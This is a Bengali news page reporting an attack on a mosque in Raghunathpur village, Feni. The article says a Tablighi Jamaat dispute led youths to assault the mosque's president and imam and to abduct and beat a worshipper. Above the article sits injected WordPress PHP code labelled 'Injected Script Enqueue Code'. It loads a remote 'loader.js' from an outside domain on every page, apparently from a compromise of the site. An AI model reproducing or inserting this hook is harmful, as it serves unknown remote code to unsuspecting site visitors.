// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site ফেনীতে তুচ্ছ ঘটনাকে কেন্দ্র করে মসজিদে হামলা - Janabarta.com

ফেনীতে তুচ্ছ ঘটনাকে কেন্দ্র করে মসজিদে হামলা

নিজস্ব প্রতিবেদক: গত ৭ মে বুধবার ফেনী জেলার দাগনভূঞা থানার রঘুনাথপুর গ্রামে মুসল্লিদের মাঝে কথাকাটিকে কেন্দ্র করে মসজিদে হামলা চালিয়েছে একদল উশৃঙ্খল যুবক। এ ঘটনায় লাঞ্চিত করা হয় মসজিদের সভাপতি ও ইমামকে। মসজিদ থেকে একজন মুসল্লিকে উশৃঙ্খল যুবকরা অপহরণ করে নিয়ে মারধরের পর ছেড়ে দেয়।

পুুুলিশ ও এলাকাবাসী জানান, তাবলিগ জামাতের বিভক্তি ইস্যুতে সাম্প্রতিক বিরোধ নিয়ে ঘটনার সূত্রপাত। তাবলিগের সাথী মাস্টার জামাল উদ্দিনের সাথে রঘুনাথপুর গ্রামের বিথার পাড়ার ব্যাবসায়ী রবিউল হাসান সবুজ ও আবু বকরের সাথে কিছু দিন পূর্বেকথা কাটাকাটি হয়। এ নিয়ে তাবলীগের ওই সাথীকে তারা মহল্লায় প্রবেশ করতে নিষেধ করে দেয়। এর জের ধরে তারা গতকাল মাগরিবের নামাজের পর রঘুনাথপুর কেন্দ্রীয় মসজিদে আবার কথাকাটি ও হাতাহাতিতে জড়িয়ে পড়ে। পরে বয়োজেষ্ঠ মুসল্লিদের হস্তক্ষেপে দুই পক্ষই ওই স্থান ত্যাগ করে। এই ঘটনার কিছুক্ষন পর সবুজ ও আবুবকরের পক্ষ নিয়ে প্রায় একশত উশৃঙ্খল যুবক স্থানীয় অস্রশস্র নিয়ে তাবলিগ সাথীর বাড়িতে হামলা চালাতে আসে। আবারো স্থানীয়দের হস্তক্ষেপে তারা পিছু হটে।

পরে উভয় পক্ষের প্রতিনিধি বসে ঘটনার মিমাংসায় সালিসের আয়োজনের সিদ্ধান্ত নেয়। কিন্তু এশার নামাজের পর প্রায় অর্ধশত উশৃঙ্খল যুবক স্থানীয় অস্ত্রশস্ত্র নিয়ে আবার মসজিদের মুসল্লিদের অবরুদ্ধ করে। এসময় তারা স্থানিয় অস্ত্রশস্ত্র নিয়ে মসজিদে প্রবেশ করে সভাপতি ও অবসরপ্রাপ্ত স্কুল প্রধান শিক্ষক মাস্টার জয়নাল আবদিন ও মসজিদের ইমাম মাও. মোহাম্মদ উল্লাহকে লাঞ্চিত করে। তারা মুসল্লিদের অবরুদ্ধ করে তাবলীগ সাথী ও সভাপতির পুত্র মাস্টার জামাল উদ্দিনকে তাদের হাতে তুলে দেয়ার দাবী জানায়ে অশ্রাব্য ভাষায় গালিগালাজ করে। এক পর্যায়ে সভাপতির আরেক পুত্র মাওনালা সাদ্দাম কে তারা মসজিদ থেকে তুলে নিয়ে যায়। পরে তাকে মারধরেের পর রাতে ছেড়ে দেয়া হয়।

ঘটনার ব্যপারে সাবেক ইউপি চেয়ারম্যান কবির আহমদ পেয়ার বলেন- মাগরিবের পর এই ঘটনা যখন সবুজ ও আবুবকর পক্ষের গন্যমান্য ব্যক্তিরা আমাকে জানায়, আমি সাথেসাথে রঘুনাথপুর বাজারে এসে তাদের সাথে এর সামাধানের জন্য আলোচনায় বসি। সিদ্ধান্ত হয় সালিসের মাধ্যমে এর সমাধান হবে। কিন্তু কিছুক্ষণ পরেই শুনলাম তারা সিদ্ধান্ত না মেনে মসজিদে হামলা করে। এ ব্যাপারে প্রতিপক্ষের সালিস প্রতিনিধি শাহ আলম জানান, তাবলিগ দুই গ্রুপ দীর্ঘ দিন ধরে বিবাদের জেরে এ ঘটনা ঘটেছে। বিষয়টি মিমাংসা করার কথা ছিলো কিন্তু এ পক্ষের নিস্কীয়তার কারণে তা আর হয়নি।

অপর দিকে কোরাইশমুন্সী পুলিশ ফাঁড়ির ইনচার্জ মোজাম্মেল হোসেন জানান, ইমাম রথবদল নিয়ে এ ঘটনা ঘটেছে। কোনো প্রকার রক্তপাত ছাড়া ঘটনা থেমে গেছে। বিষয়টি অনেকটা এখন শান্ত। ও পরিস্থিতি নিয়ন্ত্রণে আছে।